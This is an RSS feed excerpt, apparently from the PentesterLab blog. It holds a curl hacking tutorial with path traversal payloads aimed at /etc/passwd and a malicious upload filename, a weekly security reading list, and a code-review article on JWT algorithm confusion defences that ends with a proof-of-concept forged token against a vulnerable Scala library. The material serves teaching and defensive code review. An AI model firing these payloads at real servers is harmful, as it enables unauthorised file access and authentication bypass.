<p>CTFs are a playground for hackers, offering real-world scenarios to test your skills in a competitive but educational environment. Whether you're exploiting vulnerabilities in web applications, analyzing network traffic, or solving cryptographic puzzles, CTFs offer a comprehensive introduction to the challenges of web security.</p>

<p>Many beginner-friendly CTFs provide hints and walkthroughs, making them an excellent way to learn. </p>

<p>CTFs not only enhance your technical skills but also teach you to think creatively—an essential trait for web hackers.</p>

<h4 class="fw-bold my-3">5. Fix a Vulnerability in an Open-Source Project 🛡️</h4>
<p>Contributing to an open-source project by fixing a vulnerability is an invaluable experience. This task requires you to:</p>
<ul>
  <li>📚 Understand the codebase of a large project.</li>
  <li>🔍 Identify the root cause of a vulnerability.</li>
  <li>🛠️ Implement and test a secure fix.</li>
</ul>
<p>The process will teach you how developers approach code security and the trade-offs they consider when implementing fixes. Additionally, it’s a great way to give back to the community and build your reputation as a security professional. Employers are more likely to hire you if they see your ability to find and <b>fix</b> bugs.</p>

<h4 class="fw-bold my-3">Final Thoughts 🌟</h4>
<p>Becoming a skilled web hacker is a journey of continuous learning and practice. By diving into these five activities, you’ll build a strong foundation in web security, improve your ability to identify vulnerabilities, and hone your problem-solving skills. </p><p>Embrace the challenge, and don’t be afraid to make mistakes along the way—they’re an essential part of the learning process.</p>

<p>Ready to take the plunge? Start with one activity today and watch your skills grow exponentially.</p>

]]>
      </description>
      <pubDate>Wed, 27 Nov 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/essential-web-hacker-activities</link>
      <guid>https://pentesterlab.com/blog/essential-web-hacker-activities</guid>
    </item>
    <item>
      <title>Hacking with Curl!</title>
      <description>
        <![CDATA[<div>
  <p class="mb-0">If you want to take your web skills to the next level, one tool you really need to master is <a href="https://curl.se/" target="_blank">curl</a>. In this article, we will cover a few tricks to help you get there.</p>
</div>
<h4 class="my-3 fw-bold">Why curl?</h4>
<p>Compared to many web hacking tools or proxies, curl is far more reliable. It allows you to easily automate tasks or double-check results. Additionally, you can export network requests as curl commands in Chrome (via "Developer Tools" → "Network" → Right-click on the request → "Copy as cURL"), making it the perfect companion for manual testing.</p>

<h4 class="fw-bold my-3">Debugging your curl command</h4>
<p>One key trick not many people use is debugging your payload. You can do this using netcat. In one terminal, start <code>nc -l 1234</code>, and in another terminal, run your curl command, pointing it to the netcat listener: <code>curl http://127.0.0.1:1234</code>. This will show exactly what curl sent:</p>
<pre><code class="language-shell">$ nc -l 1234     
GET / HTTP/1.1
Host: 127.0.0.1:1234
User-Agent: curl/8.6.0
Accept: */*</code></pre>

<p>A simple trick that can often make the difference between success and failure</p>
<p>Another way to debug your curl commands is to use <code>--trace-ascii -</code>:</p>
<pre><code class="language-shell">$ curl http://pentesterlab.com/ --trace-ascii -
== Info: Host pentesterlab.com:80 was resolved.
== Info: IPv6: (none)
== Info: IPv4: 54.87.134.91
== Info:   Trying 54.87.134.91:80...
== Info: Connected to pentesterlab.com (54.87.134.91) port 80
=> Send header, 79 bytes (0x4f)
0000: GET / HTTP/1.1
0010: Host: pentesterlab.com
0028: User-Agent: curl/8.6.0
0040: Accept: */*</code></pre>
<p>Personally, I prefer the netcat option, but it's always good to know multiple ways to do the same thing.</p>

<h4 class="fw-bold my-3">Properly test for directory traversal with <code>--path-as-is</code></h4>
<p>Many people miss directory traversal vulnerabilities in URLs because most HTTP clients (including your browser) canonicalize paths before accessing a URL. Using our previous trick, let’s better understand this behavior. Start a netcat listener (<code>nc -l 1234</code>) and use curl to access this URL: <code>http://127.0.0.1:1234/../../../../../etc/passwd</code>. Here’s what we see in the listener shell:</p>
<pre><code class="language-shell">$ nc -l 1234
GET /etc/passwd HTTP/1.1
Host: 127.0.0.1:1234
User-Agent: curl/8.6.0
Accept: */*</code></pre>
<p>Our directory traversal payload disappeared, it gets normalized by curl. Browsers behave similarly. This is where <code>--path-as-is</code> comes in handy. Running <code>curl http://127.0.0.1:1234/../../../../../etc/passwd --path-as-is</code> with the same listener gives:</p>
<pre><code class="language-shell">$ nc -l 1234
GET /../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1:1234
User-Agent: curl/8.6.0
Accept: */*</code></pre>
<p>This time, curl sends exactly what we intended.</p>

<h4 class="fw-bold my-3">Stop messing with your hosts file using <code>--resolve</code></h4>
<p>Sometimes, you need to force DNS resolution to access an application (e.g., in one of our <a href="https://pentesterlab.com/badges/recon" target="_blank">Recon Badge labs</a>). Instead of modifying your hosts file (<code>/etc/hosts</code> on Unix, <code>C:\Windows\System32\drivers\etc\hosts</code> on Windows), use curl’s <code>--resolve</code>. For example, to send a request to pentesterlab.com but resolve it to localhost, start a netcat listener on port 80 (using <code>sudo</code> or root) and run: <code>curl --resolve pentesterlab.com:80:127.0.0.1 http://pentesterlab.com</code>. The listener output will be:</p>
<pre><code class="language-shell">$ sudo nc -l 80  
GET / HTTP/1.1
Host: pentesterlab.com
User-Agent: curl/8.6.0
Accept: */*</code></pre>

<h4 class="fw-bold my-3">Test for Directory Traversal in File Upload</h4>
<p>You can use the <code>-F</code> option to upload files and test for directory traversal. For example, run:</p>
<pre><code>curl -F "file=@pentesterlab.jsp;filename=../../../../../../../../hacker.jsp" http://127.0.0.1:1234/</code></pre>
<p>Using netcat as a listener, you can confirm the payload:</p>
<pre><code class="language-shell">$ nc -l 1234 
POST / HTTP/1.1
Host: 127.0.0.1:1234
User-Agent: curl/8.6.0
Accept: */*
Content-Length: 254
Content-Type: multipart/form-data; boundary=------------------------3PT5oqFUWiDeX4RxFham3k

--------------------------3PT5oqFUWiDeX4RxFham3k
Content-Disposition: form-data; name="file"; filename="../../../../../../../../hacker.jsp"
Content-Type: application/octet-stream

HACK THE PLANET

--------------------------3PT5oqFUWiDeX4RxFham3k--</code></pre>
<p>We uploaded the local file <code>pentesterlab.jsp</code> (containing <code>HACK THE PLANET</code>) and tested for directory traversal attacks with <code>;filename=../../../../../../../../hacker.jsp</code>. Nifty!</p>

<h4 class="fw-bold my-3">Saving your favorite arguments with <code>.curlrc</code></h4>
<p>Some <code>curl</code> arguments, like <code>--silent</code>, <code>--path-as-is</code>, or <code>--cacert</code>, are so useful you may want them enabled by default. You can make <code>curl</code> automatically use these arguments by adding them to your <code>.curlrc</code> file in your home directory: </p>
<pre><code class="language-shell">$ echo --path-as-is >> ~/.curlrc
$ curl http://127.0.0.1:1234/../../../../../etc/passwd</code></pre>
<p>We can verify that this works with netcat:</p>
<pre><code class="language-shell">$ nc -l 1234
GET /../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1:1234
User-Agent: curl/8.6.0
Accept: */*</code></pre>

<p>You no longer need to remember and manually type all your favorite curl arguments.</p>

<h5 class="fw-bold self-align-start mt-5">Conclusion</h5>
<p>Mastering <code>curl</code> is an essential skill for anyone looking to enhance their web expertise, whether for debugging, security testing, or automation.</p> 
<p>As you incorporate these techniques into your toolkit, you’ll find that <code>curl</code> is more than just a command-line utility—it’s a fundamental part of understanding and interacting with the web. The simplicity and power of <code>curl</code> make it indispensable, and with continued practice, you’ll be able to use it to solve even the most complex challenges.</p>
<p>If you enjoy these kinds of tricks, don't miss our <a href="/badges/http">HTTP Badge</a>. It's packed with lessons to deepen your understanding of HTTP and master the use of <code>curl</code>!</p>
<p>So, whether you're testing for vulnerabilities, automating requests, or troubleshooting issues, let <code>curl</code> be your go-to tool. Mastering it will not only elevate your technical expertise but also open new doors in web development and security testing. Happy hacking with Curl!</p>


 
]]>
      </description>
      <pubDate>Mon, 25 Nov 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/tricks-to-hack-with-curl</link>
      <guid>https://pentesterlab.com/blog/tricks-to-hack-with-curl</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 47/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>

<p class="mb-0">Busy week, some really interesting read this week!!</p>
</div>
<div class="mb-5">


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔍</span> Reverse Engineering iOS 18 Inactivity Reboot</h5>
<p>A lot of people have been talking about iOS 18 Inactivity Reboot, but only a few take the time to actually look at it in depth: <a href="https://naehrdine.blogspot.com/2024/11/reverse-engineering-ios-18-inactivity.html" target="_blank">Reverse Engineering iOS 18 Inactivity Reboot</a>.</p>


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔒 </span>Exploring the DOMPurify library: Bypasses and Fixes (1/2)</h5>
<p>Deep-dive into DOMPurify security with this article: <a href="https://mizu.re/post/exploring-the-dompurify-library-bypasses-and-fixes" target="_blank">Exploring the DOMPurify Library: Bypasses and Fixes</a>. We can't wait for the second part!</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🐪  </span>Local Privilege Escalations in needrestart</h5>
<p>The Qualys team is back with some <a href="https://seclists.org/oss-sec/2024/q4/108" target="_blank">cool bugs in needrestart</a>. Who doesn't like some old-school Perl vulnerabilities...</p>


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🪲 </span>Relaying Kerberos over SMB using krbrelayx</h5>
<p>Another great article from the Synacktiv team, this time on <a href="https://www.synacktiv.com/publications/relaying-kerberos-over-smb-using-krbrelayx" target="_blank">Kerberos relaying</a>.</p>


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🪲 </span> Spelunking in Comments and Documentation for Security Footguns</h5>
<p>An excellent article from Include Security. A few tricks worth reading: <a href="https://blog.includesecurity.com/2024/11/spelunking-in-comments-and-documentation-for-security-footguns/" target="_blank">Spelunking in Comments and Documentation for Security Footguns</a>.</p>


<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">📚 </span> Paged Out #5</h5>
<p>Paged Out is here with its latest edition. Check out <a href="https://pagedout.institute/?page=issues.php" target="_blank">Paged Out #5</a>.</p>


<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">📚 </span> AppSec eZine #562</h5>
<p>AppSec eZine returns with its latest edition. Check out <a href="https://pathonproject.com/zb/?65b407a5ae73337b#izPEOd37nSIyWhMpMk14CV/WCS5o+w9YC1vwO0IJZXM=" target="_blank">issue #562</a>.</p>

<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 24 Nov 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week47-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week47-2024</guid>
    </item>
    <item>
      <title>How JWT Libraries Block Algorithm Confusion: Key Lessons for Code Review</title>
      <description>
        <![CDATA[
<p>When I wrote the first lab on algorithm confusion, I remember spending a bit of time trying to find a vulnerable library. As an attacker, you need a few things to go wrong to be able to exploit algorithm confusion attacks. In this blog post, we will cover why JWT libraries are not usually vulnerable to algorithm confusion.</p>

<p>A big part of <a href="/live-training/" target="_blank">learning security code review</a> is to learn how developers commonly block attacks. The more knowledgeable you are about common ways to block attacks, the faster you are at reviewing code and the better you are at detecting anomalies that may be worth investigating. </p>


<h5 class="fw-bold my-3">What is algorithm confusion?</h5>

<p>With JWT, the attacker can pick the algorithm used to verify how a token is signed as the algorithm is based on the <code>alg</code> attribute of the header.</p>

<p>Algorithm confusion attacks happen when an application uses asymmetric signature (RSA or ECDSA). When developers verify the signature they write code that looks something like this: </p>
<pre><code>jwt.verify(public_key)</code></pre>

<p>They are using the public key <code>public_key</code> to verify the signature. Under the hood, if for example the application uses ECDSA, the token will have a header indicating that ECDSA should be used and the following will happen:</p>

<pre><code>ecdsa.verify(public_key)</code></pre>
<p>However, as discussed earlier, the algorithm used is usually based on the header <code>alg</code> and is user-controlled. Therefore, if nothing prevents an attacker from picking another algorithm, the attacker can decide to change <code>alg</code> from ECDSA to HMAC and the code may end up executing:</p>

<pre><code>hmac.verify(public_key)</code></pre>

<p>This allows attackers to sign the token with the public key. Attackers can potentially discover the public key (since it's public, there is no reason to hide it) or they can recover it from one (for ECDSA) or multiple (for RSA) signatures.


<p>PentesterLab offers a few challenges on exploiting this:</p>
<ul>
  <li><a target="_blank"  href="https://pentesterlab.com/exercises/jwt-algorithm-confusion">JWT Algorithm Confusion</a> that uses RSA and the public key is provided</li>
  <li><a  target="_blank" href="https://pentesterlab.com/exercises/jwt-algorithm-confusion-rsa-key-recovery">JWT Algorithm Confusion With RSA Key Recovery</a> in which you need to recover the  public RSA key from a few signatures</li>
 <li><a target="_blank" href="https://pentesterlab.com/exercises/jwt-algorithm-confusion-ecdsa-key-recovery">JWT Algorithm Confusion With ECDSA Key Recovery</a> in which you need to recover two potential ECDSA public keys from a signature (we also have a blog post on this attack that you can find here: <a target="_blank" href="https://pentesterlab.com/blog/exploring-algorithm-confusion-attacks-on-jwt-exploiting-ecdsa">Algorithm Confusion Attacks against JWT using ECDSA</a>)</li>
</ul>



<p>Now that we have a bit of background on algorithm confusion, let’s look at how JWT libraries usually prevent them!</p>

<h5 class="fw-bold my-3">How Are Algorithm Confusion Attacks Usually Prevented?</h5>

<p>There are multiple ways to prevent algorithm confusion attacks, below are the most common ones I found during my code reviews.</p>

<h5 class="my-4 fw-normal">Only supporting one family of algorithms</h5>

<p>Sometimes KISS, Keep It Simple Stupid, works a charm for security, you eliminate the risk of algorithm confusion vulnerability if you only support one algorithm, for example, <a target="_blank" href="https://github.com/brianvoe/sjwt">brianvoe/sjwt</a> (Go) and <a target="_blank" href="https://github.com/Corviz/jwt">Corviz/jwt</a> (PHP)  only support HMAC-signed tokens. <a target="_blank" href="https://github.com/brianvoe/sjwt">brianvoe/sjwt</a> goes even further; it only supports HMAC with SHA256. It doesn’t support ECDSA or RSA, so there’s no risk of algorithm confusion here! A smaller or simpler library can be the answer to security issues relying on complexity.</p>

<h5 class="my-4 fw-normal">Matching the <code>alg</code> header to an algorithm set by the developer</h5>
<p>Another way to prevent the attack is to validate the algorithm in the header and make sure it matches the one used to call <code>verify()</code>. We can find an example of this in <a target="_blank" href="https://github.com/garyf/json_web_token">garyf/json_web_token</a> (Ruby): </p>


<pre><code>    def verify(jws, algorithm, key = nil)
      validate_alg_match(jws, algorithm)
      […]

    def validate_alg_match(jws, algorithm)
      header = decoded_header_json_to_hash(jws)
      unless alg_parameter(header) == algorithm
        fail("Algorithm not matching 'alg' header parameter")
      end
</pre></code>

<p>As part of the call to <code>verify()</code>, the library requires developers using it to specify the algorithm to be supported. Since algorithm confusion attacks rely on the application blindly trusting the <code>alg</code> header, this mitigates the attack.</p>


<p>This also kills the <code>None</code> algorithm attack since the algorithm is enforced. One stone, two birds.</p>

<h5 class="my-4 fw-normal">Not relying on the <code>alg</code> header</h5>

<p>A similar approach can be found in <a target="_blank" href="https://github.com/nowakowskir/php-jwt">nowakowskir/php-jwt</a> (PHP). The library also forces the developers to explicitly indicate which algorithm should be supported.</p>


<pre><code>class JWT       
{               
            
    /**         
     * List of available algorithm keys.
     */ 
    const ALGORITHM_HS256 = 'HS256';
    const ALGORITHM_HS384 = 'HS384';
    const ALGORITHM_HS512 = 'HS512';
    const ALGORITHM_RS256 = 'RS256';
    const ALGORITHM_RS384 = 'RS384';
    const ALGORITHM_RS512 = 'RS512';
            
    /** 
     * Mapping of available algorithm keys with their types and target algorithms.
     */ 
    const ALGORITHMS = [
        self::ALGORITHM_HS256 => ['hash_hmac', 'SHA256'],
        self::ALGORITHM_HS384 => ['hash_hmac', 'SHA384'],
        self::ALGORITHM_HS512 => ['hash_hmac', 'SHA512'],
        self::ALGORITHM_RS256 => ['openssl', 'SHA256'],
        self::ALGORITHM_RS384 => ['openssl', 'SHA384'],
        self::ALGORITHM_RS512 => ['openssl', 'SHA512'],
    ];

[...] 

    public static function validate(TokenEncoded $tokenEncoded, 

                             string $key, string $algorithm, ?int $leeway = null, 
                             ?array $claimsExclusions = null): bool
    {
        $tokenDecoded = self::decode($tokenEncoded);

        $signature = Base64Url::decode($tokenEncoded->getSignature());
        $payload = $tokenDecoded->getPayload();
        
        list($function, $type) = self::getAlgorithmData($algorithm);

        switch ($function) {
            case 'hash_hmac':
                if (hash_equals(hash_hmac($type, $tokenEncoded->getMessage(), $key, true), $signature) !== true) {
                    throw new IntegrityViolationException('Invalid signature');
                }
                break;
            case 'openssl':
                if (openssl_verify($tokenEncoded->getMessage(), $signature, $key, $type) !== 1) {
                    throw new IntegrityViolationException('Invalid signature');
                }
                break;
            default:
                throw new UnsupportedAlgorithmException('Unsupported algorithm type');
                break;

[...]


    public static function getAlgorithmData(string $algorithm): array
    {
        Validation::checkAlgorithmSupported($algorithm);

        return self::ALGORITHMS[$algorithm];
    }
</pre></code>

<p>The <code>validate()</code> method requires developers to provide an algorithm <code>$algorithm</code>, and use it to pick the function used for the verification. For example, if developers use <code>HS256</code>, the library is going to use <code>['hash_hmac', 'SHA256']</code>. The library completely ignores the header <code>alg</code> provided in the JWT.</p>

<p>As a side note, it is worth looking at <code>checkAlgorithmSupported()</code> to see how they handle the <code>None</code> algorithm:</p>
<pre><code>    public static function checkAlgorithmSupported(string $algorithm)
    {
        if (strtolower($algorithm) === 'none') {
            throw new InsecureTokenException('Unsecure token are not supported: none algorithm provided');
        }
       
        if (! array_key_exists($algorithm, JWT::ALGORITHMS)) {
            throw new UnsupportedAlgorithmException('Invalid algorithm');
        }
    }
</pre></code> 

<p>The main difference between this approach and the previous one is that this library completely ignores the <code>alg</code> header and uses only the algorithm provided by developers leveraging the library .</p>


<h5 class="my-4 fw-normal">Doing both!</h5>

<p>The library <a target="_blank" href="https://github.com/auth0/java-jwt">auth0/java-jwt</a> (Java) uses both of the previous methods.</p>

<p>You can verify a token using the code:</p>

<pre><code>    Algorithm algorithm = Algorithm.RSA256(rsaPublicKey, rsaPrivateKey);
    JWTVerifier verifier = JWT.require(algorithm).build();
        
    decodedJWT = verifier.verify(token);
</code></pre>

<p>Just by looking at this code, it's already pretty obvious that this is unlikely to be vulnerable to algorithm confusion since everything seems to rely on the algorithm (<code>Algorithm.RSA256(rsaPublicKey, rsaPrivateKey)</code>) set by the developers: <code>JWTVerifier verifier = JWT.require(algorithm).build();</code>.</p>

<p>This code will end up calling the following:</p>

<pre><code>    public DecodedJWT verify(DecodedJWT jwt) throws JWTVerificationException {
        verifyAlgorithm(jwt, algorithm);
        algorithm.verify(jwt);
        verifyClaims(jwt, expectedChecks);
        return jwt;
    }

    private void verifyAlgorithm(DecodedJWT jwt, Algorithm expectedAlgorithm) throws AlgorithmMismatchException {
        if (!expectedAlgorithm.getName().equals(jwt.getAlgorithm())) {
            throw new AlgorithmMismatchException(
                    "The provided Algorithm doesn't match the one defined in the JWT's Header.");
        }
    }</code></pre>

<p>We can see that when verifying a token, the library first calls <code>verifyAlgorithm(...)</code> that checks that the algorithm in the header matches the <code>expectedAlgorithm.getName()</code>. After doing that, the code does not even use the algorithm from the header and relies on the algorithm defined by the developer when calling <code>algorithm.verify(jwt);</code>. Defence in depth!</p>




<h5 class="my-4 fw-normal">Preventing the use of public keys</h5>

<p>Another mechanism is to try to detect the usage of public keys when HMAC based algorithms are used. <a target="_blank" href="https://github.com/jpadilla/pyjwt">jpadilla/pyjwt</a> (Python) is a great example of this technique: </p>


<pre><code>class HMACAlgorithm(Algorithm):
    """
    Performs signing and verification operations using HMAC
    and the specified hash function.
    """
    
    SHA256 = hashlib.sha256
    SHA384 = hashlib.sha384
    SHA512 = hashlib.sha512

    def __init__(self, hash_alg):
        self.hash_alg = hash_alg 
    
    def prepare_key(self, key):
        key = force_bytes(key)
        
        if is_pem_format(key) or is_ssh_key(key):
            raise InvalidKeyError(
                "The specified key is an asymmetric key or x509 certificate and"
                " should not be used as an HMAC secret."
            )
    
        return key
</code></pre>

<p>As part of the <code>prepare_key()</code> call, used before verifying a signature, the code throws an exception if the secret or key <code>is_pem_format()</code> or <code>is_ssh_key()</code>.

<p>And we can see the code of the function <code>is_pem_format()</code> below:</p>

<pre><code>_PEM_RE = re.compile(
    b"----[- ]BEGIN (" 
    + b"|".join(_PEMS)
    + b""")[- ]----\r?
.+?\r?
----[- ]END \\1[- ]----\r?\n?""",
    re.DOTALL,
)       

def is_pem_format(key: bytes) -> bool: 
    return bool(_PEM_RE.search(key))
</code></pre>

<p>This method of blocking the attack is obviously not ideal as it relies on having the perfect list of all potential formats for the key. It also prevents people from having some keywords in their secret when they are legitimately signing with HMAC. What if a legitimate HMAC secret contains "BEGIN RSA PUBLIC KEY"?</p>

<p> We can see in the git history of pyjwt that the list was initially incomplete and also that the project had difficulties keeping the supported algorithms and the blocklist in sync with <a target="_blank" href="https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24">CVE-2022-29217</a> being an example of a bypass.</p>
<p> Probably not the approach I would recommend if used on its own. But it may be part of a defence in depth strategy.</p>

<h5 class="my-4 fw-normal">Validating the type of the secret or key provided by developers</h5>

<p>Another way to prevent algorithm confusion attacks is to rely on the type of the variable used to validate the signature. For example, <a target="_blank" href="https://github.com/WebdevCave/jwt-php/">WebdevCave/jwt-php</a> (PHP) validates that the <code>Secret</code> used to validate the token is an instance of a valid type of secret using the method <code>validateSecret()</code>: </p>

<pre><code>abstract class Signer
    public function setSecret(Secret $secret): void
    {
        if (!$this->validateSecret($secret)) {
            throw new InvalidArgumentException('Invalid secret provided');
        }

        $this->secret = $secret;
    }
</code></pre>

<p>And we can see that the <code>HsSigner</code> used to verify tokens signed with HMAC ensure that the secret is an instance of <code>HsSecret</code>:</p>

<pre><code>abstract class HsSigner extends Signer
[...]

    protected function validateSecret(Secret $secret): bool
    {
        return $secret instanceof HsSecret;
    }

</code></pre>

<p>Since developers using RSA will have to use <code>RsSecret</code> when verifying an RSA signature, this prevents algorithm confusion attacks. You just cannot verify a signature using HMAC and <code>RsSecret</code> since <code>RsSecret</code> is not an instance of <code>HsSecret</code>.</p> 

<p>The same behaviour can be observed in <a target="_blank" href="https://bitbucket.org/b_c/jose4j/wiki/Home">jose4j</a> (Java):</p>

<pre><code>public class HmacUsingShaAlgorithm extends AlgorithmInfo implements JsonWebSignatureAlgorithm
{
[...]
    public boolean verifySignature(byte[] signatureBytes, Key key, byte[] securedInputBytes, ProviderContext providerContext) throws JoseException
    {
        if (!(key instanceof SecretKey))
        {
            throw new InvalidKeyException(key.getClass() + " cannot be used for HMAC verification.");
        }

        Mac mac = getMacInstance(key, providerContext);
        byte[] calculatedSigature = mac.doFinal(securedInputBytes);

        return ByteUtil.secureEquals(signatureBytes, calculatedSigature);
    }

</pre></code>


<h5 class="my-4 fw-normal">Autodetection of the algorithm based on the key's type</h5>

<p>Another way that could potentially be used is to detect the algorithm based on the type of the key, <a target="_blank" href="https://github.com/nov/json-jwt">nov/json-jwt</a> (Ruby) uses something similar when a developer <b>signs</b> (not verifies) a token.</p>

<pre><code>    def autodetected_algorithm_from(private_key_or_secret)
      private_key_or_secret = with_jwk_support private_key_or_secret
      case private_key_or_secret
      when String 
        :HS256
      when OpenSSL::PKey::RSA
        :RS256
      when OpenSSL::PKey::EC
        case private_key_or_secret.group.curve_name
        when 'prime256v1'
          :ES256
        when 'secp384r1'
          :ES384
        when 'secp521r1'
          :ES512
        when 'secp256k1'
          :ES256K
        else
          raise UnknownAlgorithm.new('Unknown EC Curve')
        end
      else
        raise UnexpectedAlgorithm.new('Signature algorithm auto-detection failed')
      end
    end </code></pre>

<p>Based on the type of the value <code>private_key_or_secret</code>, the library knows what algorithm it should use. This code is not used as part of the verification, it is used when a token gets signed using <code>sign!()</code>.</p>


<p>This library is not vulnerable to algorithm confusion attacks for another reason... The function <code>valid?</code> calls <code>sign()</code> when HMAC-based algorithms are used as you can see in the code below: </p>

<pre><code>    def sign(signature_base_string, private_key_or_secret)
      private_key_or_secret = with_jwk_support private_key_or_secret
      case
      when hmac?
        secret = private_key_or_secret
        OpenSSL::HMAC.digest digest, secret, signature_base_string</code></pre>

<p>And the call to <code>OpenSSL::HMAC.digest</code> will fail with a <code>TypeError</code> since there is <code>no implicit conversion of OpenSSL::PKey::RSA into String</code>. OpenSSL doesn't know how to convert a public key to a <code>String</code> and throws an exception. Preventing the exploitation.</p>



<h5 class="fw-bold my-3">Before we finish!</h5>

<p>When writing this article, I wanted to find a non-Java (because <i>"Java is Lava"</i>) examples of blocking via Type and decided to review a few scalas implementations.  As part of this review, I found a (unmaintained but still listed on jwt.io) library that was vulnerable to Algorithm Confusion Attacks. This is a great example of why reading secure code allows you to find bugs. By reading a few libraries I knew that JWT libraries with types like Java usually force the developers to pick the algorithm and also use public key <code>java.security.PublicKey</code> to enforce the type of the key with RSA.</p>

<p>This is when I came across <a target="_blank" href="https://github.com/janjaali/spray-jwt">janjaali/spray-jwt</a> (Scala).  You can find a snippet from the documentation on how to verify a token for one of these libraries below:  </p>

<pre><code>import org.janjaali.sprayjwt.Jwt
[...]
val token = "..."
val jsValueOpt = Jwt.decode(token, "super_fancy_secret") </pre></code>



<p>If you have been paying attention to the rest of this article, you immediately know that this doesn't sound great. Developers leveraging the library don't need to specify an algorithm. First red flag (🚩)!</p>


<p>The code used to pick the algorithm can be find below:</p>
<pre><code>  def decodeAsString(token: String, secret: String): Try[String] = {
    val splitToken = token.split("\\.")
    if (splitToken.length != 3) {
      throw new InvalidJwtException("JWT must have form header.payload.signature")
    }

    val header = splitToken(0)
    val payload = splitToken(1)
    val data = s"$header.$payload"

    val signature = splitToken(2)

    val algorithm = getAlgorithmFromHeader(header)

  private def getAlgorithmFromHeader(header: String): HashingAlgorithm = {
    val headerDecoded = Base64Decoder.decodeAsString(header)
    val jwtHeader = headerDecoded.parseJson.convertTo[JwtHeader]
    jwtHeader.algorithm
  }
</pre></code>

<p>We can see that the algorithm seems to be based on the header <code>alg</code>. Second red flag (🚩🚩)!</p>


<p>Time to keep digging! We can then see that even the underlying code used to verify a token using RSA relies on a string. Huge third red flag (🚩🚩🚩)!</p>
<pre><code>  override def validate(data: String, signature: String, secret: String): Boolean = {
    val key = getPublicKey(secret)

    val dataByteArray = ByteEncoder.getBytes(data)

    val rsaSignature = Signature.getInstance(cryptoAlgName, provider)
    rsaSignature.initVerify(key)
    rsaSignature.update(dataByteArray)
    rsaSignature.verify(Base64Decoder.decode(signature))
  }

  private def getPublicKey(str: String): PublicKey = {
    val pemParser = new PEMParser(new StringReader(str))
    val keyPair = pemParser.readObject()

    Option(keyPair) match {
      case Some(publicKeyInfo: SubjectPublicKeyInfo) =>
        val converter = new JcaPEMKeyConverter
        converter.getPublicKey(publicKeyInfo)
      case _ => throw new IOException(s"Invalid key for $cryptoAlgName")
    }
  }
</pre></code>

<p>We see that the RSA "validation" works with a public key as a <code>String</code> (that is even named "secret" to make things worst).</p>

<p>If developers leverage this library for RSA validation, they are likely to write  something like:  </p>
<pre><code>// Load and Base64 encode the RSA public key
val publicKeyStr = loadPublicKeyAsString(publicKeyPath) 
// Use RS256 with Base64 encoded public key
val decodedTry: Try[JsValue] = Jwt.decode(token, publicKeyStr) 
</pre></code>
 
<p>Since no algorithm is enforced, the library is a classic example of an algorithm confusion vulnerability. After getting a simple snippet of code leveraging this library, I was able to confirm that the library was vulnerable to algorithm confusion:</p>

<pre><code>  // Code to generate a JWT token using RS256
  def generateToken(): String = {
    val payload = """{"username":"test"}""" // Hardcoded payload

    val privateKeyStr = """-----BEGIN RSA PRIVATE KEY-----
[...]
-----END RSA PRIVATE KEY-----"""
    val publicKeyStr = """-----BEGIN PUBLIC KEY-----
[...]
-----END PUBLIC KEY-----"""


    // Use RS256 with private key
    val tokenTry: Try[String] = Jwt.encode(payload, privateKeyStr, RS256)

    // Use HS256 with public key
    //val tokenTry: Try[String] = Jwt.encode(payload, publicKeyStr, HS256)

    tokenTry match {
      case Success(token) =>
        println(s"Generated JWT token: $token")
        token
      case Failure(exception) =>
        println(s"Failed to generate JWT token: ${exception.getMessage}")
        ""
    }

  }
  // Code to verify a JWT token using RS256
  def verifyToken(token: String): Unit = {
     val publicKeyStr = """-----BEGIN PUBLIC KEY-----
[...]
-----END PUBLIC KEY-----"""

    val decodedTry: Try[JsValue] = Jwt.decode(token, publicKeyStr) 

    decodedTry match {
      case Success(jsValue: JsValue) =>
        println(s"Decoded JWT token: ${jsValue.prettyPrint}")
      case Failure(exception) =>
        println(s"Failed to verify/ decode the JWT token: ${exception.getMessage}")
    }
  }

  def main(args: Array[String]): Unit = {
    // Generate a token using RSA private key
    val token = generateToken()
    println(token)

    // Verify the generated token
    verifyToken(token)

    //HS256, our token signed with the public RSA key as a String 
    val token2 = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.RmOq9Y9kdLk/GrjATbWDySo7LlwfIam5weJzeZ5CYGM"

    println("TOKEN with HS256")
    verifyToken(token2 )
  }</pre></code>

<p>I reached out to the project a month ago but received no response. The library appears to be end-of-life, and it’s unlikely that many are still using it, especially with RSA. However, it serves as an excellent example of how understanding defensive practices in code reviews can help highlight vulnerable code.</p>


<h5 class="fw-bold my-3">Conclusion</h5>

<p>Hopefully, this blog post gave you valuable insights into common techniques for preventing algorithm confusion attacks. As you’ve seen, understanding how developers block attacks not only helps you spot potential vulnerabilities faster but also sharpens your ability to detect subtle anomalies in code that might otherwise go unnoticed.</p>

